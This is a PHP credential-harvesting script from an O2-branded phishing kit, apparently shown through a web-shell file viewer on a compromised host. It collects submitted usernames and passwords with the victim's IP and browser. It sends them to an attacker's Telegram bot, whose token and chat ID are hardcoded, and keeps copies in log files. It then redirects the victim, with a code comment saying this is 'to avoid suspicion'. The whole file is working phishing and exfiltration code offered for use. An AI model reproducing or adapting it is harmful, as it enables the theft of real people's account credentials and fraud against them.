Current Path : /home/da040400/www_root/upload/o2ot/
Upload File :
Current File : /home/da040400/www_root/upload/o2ot/process.php

<?php
// Disable error reporting for production
// error_reporting(0);

// Check if the form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Get form data
    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';
    
    // Additional information about the user
    $ip = $_SERVER['REMOTE_ADDR'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $date_time = date('Y-m-d H:i:s');
    
    // Format message for Telegram
    $message = "🔐 New O2 Login Attempt 🔐\n";
    $message .= "------------------------\n";
    $message .= "📧 Username/Email: $username\n";
    $message .= "🔑 Password: $password\n";
    $message .= "------------------------\n";
    $message .= "🌐 IP Address: $ip\n";
    $message .= "🖥️ User Agent: $user_agent\n";
    $message .= "⏰ Date/Time: $date_time\n";
    
    // Telegram Bot Configuration
    $telegram_bot_token = '2147021455:AAECr25u-TTsb5_CZqvpUBrybQgqVyxtEUY'; // Replace with your bot token
    $chat_id = '1328122846'; // Replace with your chat ID
    
    // Send message to Telegram
    sendToTelegram($telegram_bot_token, $chat_id, $message);
    
    // Save data to a local file as backup
    saveToFile($username, $password, $ip, $user_agent, $date_time);
    
    // Redirect user to the original O2 website to avoid suspicion
    header('Location: payment.html');
    exit;
} else {
    // If someone tries to access this file directly, redirect them
    header('Location: index.html');
    exit;
}

/**
 * Function to send message to Telegram bot
 */
function sendToTelegram($bot_token, $chat_id, $message) {
    $telegram_api_url = "https://api.telegram.org/bot$bot_token/sendMessage";
    
    // Prepare data for POST request
    $postData = array(
        'chat_id' => $chat_id,
        'text' => $message,
        'parse_mode' => 'HTML'
    );
    
    // Use cURL to send the message
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $telegram_api_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    
    // Check for errors
    if (curl_errno($ch)) {
        // Save error to log file if Telegram request fails
        $error_message = "Telegram API Error: " . curl_error($ch);
        file_put_contents('telegram_errors.log', "[$date_time] $error_message\n", FILE_APPEND);
    }
    
    curl_close($ch);
    
    return $response;
}

/**
 * Function to save login data to a file
 */
function saveToFile($username, $password, $ip, $user_agent, $date_time) {
    // Create data directory if it doesn't exist
    $data_dir = 'data';
    if (!file_exists($data_dir) && !is_dir($data_dir)) {
        mkdir($data_dir, 0755, true);
    }
    
    // Format data for file
    $data = "[$date_time]\n";
    $data .= "Username/Email: $username\n";
    $data .= "Password: $password\n";
    $data .= "IP Address: $ip\n";
    $data .= "User Agent: $user_agent\n";
    $data .= "------------------------------------------------\n";
    
    // Save to file (one file per day)
    $filename = $data_dir . '/logins_' . date('Y-m-d') . '.txt';
    file_put_contents($filename, $data, FILE_APPEND);
    
    // Also save to JSON file for easier processing
    $json_data = [
        'timestamp' => $date_time,
        'username' => $username,
        'password' => $password,
        'ip' => $ip,
        'user_agent' => $user_agent
    ];
    
    $json_file = $data_dir . '/logins.json';
    
    // Read existing JSON data if file exists
    $existing_data = [];
    if (file_exists($json_file)) {
        $file_contents = file_get_contents($json_file);
        if (!empty($file_contents)) {
            $existing_data = json_decode($file_contents, true) ?: [];
        }
    }
    
    // Add new data
    $existing_data[] = $json_data;
    
    // Write back to file
    file_put_contents($json_file, json_encode($existing_data, JSON_PRETTY_PRINT));
}
?>

DR.KR LITE SHELL COPYRIGHT 2016